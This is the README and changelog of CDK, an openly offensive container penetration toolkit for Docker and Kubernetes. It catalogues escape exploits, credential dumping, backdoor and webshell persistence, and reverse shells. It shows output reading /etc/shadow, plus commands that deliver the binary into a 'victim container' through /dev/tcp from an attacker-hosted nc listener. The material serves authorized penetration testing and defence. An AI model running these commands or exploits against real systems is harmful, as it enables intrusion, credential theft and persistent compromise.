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## CDK <https://github.com/cdk-team/CDK>
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# CDK - Zero Dependency Container Penetration Toolkit
English | [简体中文](https://github.com/cdk-team/CDK/wiki/CDK-Home-CN)
![png](https://user-images.githubusercontent.com/7868679/177925206-8d83dc95-0f2f-4d61-9a45-0d43b1b0468f.png)
## Legal Disclaimer
Usage of CDK for attacking targets without prior mutual consent is illegal.
CDK is for security testing purposes only.
## Overview
CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.
## Quick Start
Run **`cdk eva`** to get evaluate info and a recommend exploit, then run **`cdk run`** to start the attack.
```
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
```
## Installation/Delivery
Download latest release in https://github.com/cdk-team/CDK/releases/
Drop executable files into the target container and start testing.
### TIPS: Deliver CDK into target container in real-world penetration testing
If you have an exploit that can upload a file, then you can upload CDK binary directly.
If you have a RCE exploit, but the target container has no `curl` or `wget`, you can use the following method to deliver CDK:
1. First, host CDK binary on your host with public IP.
```
(on your host)
nc -lvp 999 < cdk
```
2. Inside the victim container execute
```
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
```
## Usage
```
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Auto Escape:
cdk auto-escape <cmd> Escape container in different ways then let target execute <cmd>.
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
```
## Features
CDK has three modules:
1. Evaluate: gather information inside container to find potential weakness.
2. Exploit: for container escaping, persistance and lateral movement
3. Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.
### Evaluate Module
Usage
```
cdk evaluate [--full]
```
This command will run the scripts below without local file scanning, using `--full` to enable all.
|Tactics|Script|Supported|Usage/Example|
|---|---|---|---|
|Information Gathering|OS Basic Info|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-System-Info)|
|Information Gathering|Available Capabilities|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities)|
|Information Gathering|Available Linux Commands|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities)|
|Information Gathering|Mounts|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Mounts)|
|Information Gathering|Net Namespace|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Net-Namespace)|
|Information Gathering|Sensitive ENV|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services)|
|Information Gathering|Sensitive Process|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services)|
|Information Gathering|Sensitive Local Files|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Sensitive-Files)|
|Information Gathering|Kube-proxy Route Localnet(CVE-2020-8558)|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-check-net.ipv4.conf.all.route_localnet)|
|Information Gathering|DNS-Based Service Discovery|✔|[link](https://github.com/kubernetes/dns/blob/master/docs/specification.md)|
|Discovery|K8s Api-server Info|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server)|
|Discovery|K8s Service-account Info|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-Service-Account)|
|Discovery|Cloud Provider Metadata API|✔|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Cloud-Provider-Metadata-API)|
### Exploit Module
List all available exploits:
```
cdk run --list
```
Run targeted exploit:
```
cdk run <script-name> [options]
```
| Tactic | Technique | CDK Exploit Name | Supported | In Thin | Doc |
|----------------------|------------------------------------------------------------|------------------------|-----------|----------------------------------------------------------------------------|--------------------------------------------------------------------------------------|
| Escaping | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ ||
| Escaping | containerd-shim CVE-2020-15257 | shim-pwn | ✔ || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-shim-pwn) |
| Escaping | docker.sock PoC (DIND attack) | docker-sock-check | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-check) |
| Escaping | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-pwn) |
| Escaping | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-api-pwn) |
| Escaping | Device Mount Escaping | mount-disk | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-disk) |
| Escaping | LXCFS Escaping | lxcfs-rw | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-lxcfs-rw) |
| Escaping | Cgroups Escaping | mount-cgroup | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-cgroup) |
| Escaping | Abuse Unprivileged User Namespace Escaping CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-abuse-unpriv-userns) |
| Escaping | Procfs Escaping | mount-procfs | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs) |
| Escaping | Ptrace Escaping PoC | check-ptrace | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-check-ptrace) |
| Escaping | Rewrite Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-rewrite-cgroup-devices) |
| Escaping | Read arbitrary file from host system (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-cap-dac-read-search) |
| Discovery | K8s Component Probe | service-probe | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-service-probe) |
| Discovery | Dump Istio Sidecar Meta | istio-check | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-check-istio) |
| Discovery | Dump K8s Pod Security Policies | k8s-psp-dump | ✔ || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-psp-dump) |
| Remote Control | Reverse Shell | reverse-shell | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-reverse-shell) |
| Remote Control | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| Credential Access | Registry BruteForce | registry-brute | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-Container-Image-Registry-Brute) |
| Credential Access | Access Key Scanning | ak-leakage | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-ak-leakage) |
| Credential Access | Etcd Get K8s Token | etcd-get-k8s-token | ✔ | ✔ | |
| Credential Access | Dump K8s Secrets | k8s-secret-dump | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump) |
| Credential Access | Dump K8s Config | k8s-configmap-dump | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump) |
| Privilege Escalation | K8s RBAC Bypass | k8s-get-sa-token | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token) |
| Persistence | Deploy WebShell | webshell-deploy | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-webshell-deploy) |
| Persistence | Deploy Backdoor Pod | k8s-backdoor-daemonset | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-backdoor-daemonset) |
| Persistence | Deploy Shadow K8s api-server | k8s-shadow-apiserver | ✔ || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver) |
| Persistence | K8s MITM Attack (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Evaluate:-k8s-mitm-clusterip) |
| Persistence | Deploy K8s CronJob | k8s-cronjob | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-cronjob) |
**Note about Thin:** The **thin release** is prepared for short life container shells such as serverless functions. We add build tags in source code and cut a few exploits to get the binary lighter. The 2MB file contains 90% of CDK functions, also you can pick up useful exploits in CDK source code to build your own lightweight binary.
### Tool Module
Running commands like in Linux, little different in input-args, see the usage link.
```
cdk nc [options]
cdk ps
```
|Command|Description|Supported|Usage/Example|
|---|---|---|---|
|nc|TCP Tunnel|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-nc)|
|ps|Process Information|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-ps)|
|ifconfig|Network Information|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-ifconfig)|
|vi|Edit Files|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-vi)|
|ectl|Unauthorized enumeration of ectd keys|✔||
|kcurl|Request to K8s api-server|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-kcurl)|
|dcurl|Request to Docker HTTP API|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-dcurl)|
|ucurl|Request to Docker Unix Socket|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-ucurl)|
|rcurl|Request to Docker Registry API|||
|probe|IP/Port Scanning|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-probe)|
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## 项目相关
- 2021-11-11 发布文章[《CDK:一款针对容器场景的多功能渗透工具》](https://mp.weixin.qq.com/s/fopvHFPAbbqtCE6SV9JerQ)
## 最近更新
#### [v1.4.0] - 2022-09-04
**更新**
- 新增通过 cgroup release_agent 实现的 lxcfs-rw Exploit
- 为 lxcfs-rw/lxcfs-rw-cgroup 添加推荐信息
- 新增高亮显示所有的挂载信息
#### [v1.3.0] - 2022-07-10
**Exploits**
- 为 ParseCDKMain 添加单元测试
- 新增'Exploit container escape with kubelet log access & /var/log mount'
- 新增 kubelet 默认未授权访问利用(端口10250)
**Others**
- 在 github action 中新增了 go test
- 支持 linux 容器获取网关
- 更新文档，新增了 快速开始 章节
- 新增在 pods 中获取网关
#### [v1.2.0] - 2022-06-25
**更新**
- 新增 Exploit：从 etcd 获取 k8s 的 token
- 添加输出结束消息
- 移除 --insecure-port 参数
#### [v1.1.0] - 2022-05-30
**Exploits**
- 在使用说明 banner 中添加 ocd 和 CDK
- 修复 exp 添加 run 描述文档
- 修复 exp 在 /proc/pid 路径出现的错误
- 修复 exp 中 k8s-psp-dump 参数检测错误
- 修复 exp 检查命令行中 cdk 进程的错误
- 移除 StringContains 相关重复函数
- 仅在 linux 上构建 mount cgroup
**About Evaluate**
- 添加 DNS-Based 服务发现
- 添加色彩标注的 perf
- 新增获取当前 pid cgroup 信息
**Others**
- github action 中添加 Evaluate/Exploit/Tool 等测试，修复部分问题
#### [v1.0.6] - 2022-03-10
**更新**
- 仅在 linux 下构建 mount-cgroup
- 修复 CentOS unprivileged_userns_clone 文件不存在的问题
- 添加 CVE-2022-0492 的 EXP
- 修复运行 exp 时 shim-pwn 异常退出的问题
- 将 shell 实现的 mount-cgroup 功能改为 Golang 实现
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